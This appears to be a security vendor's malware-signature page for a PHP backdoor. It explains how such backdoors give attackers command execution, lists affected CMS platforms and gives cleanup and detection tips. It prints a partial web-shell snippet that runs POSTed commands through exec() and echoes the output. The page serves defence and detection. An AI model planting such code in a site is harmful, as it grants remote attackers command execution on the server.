Malware Signatures

  1. Home
  2. Malware Signatures
  3. php.backdoor.system_shell.001.02


Backdoors are pieces of code that allow attackers to bypass authentication, maintain their access to the server and reinfect files. Some of those malicious files can be as simple as a single line of code, allowing the execution of remote code, or complex algorithms, providing different functions to the attacker.
There are several functions for running system commands directly. One of them is the system_shell() function which is commonly used in various backdoor types to run commands directly on affected system. Using this function (and if allowed), the attacker can get interesting information about the environment and perform many system tasks.


Any PHP based web site (often through outdated WordPress, Joomla, osCommerce, Magento, Drupal and stolen passwords).


Cleanup is done by deleting the malicious file, which can be found in your system by searching for system_shell() or system() functions inside your files. Reviewing access logs for non-expected HTTP POSTs can point out the possible infected files.
You can also sign up with us and let our team remove the malware for you.


Using several functions for running a system command:

if ($execfunc=="system") {
} elseif ($execfunc=="passthru") {
} elseif ($execfunc=="exec") {
$result = exec($_POST['command']);
echo $result;
} elseif ($execfunc=="shell_exec") {
echo $result;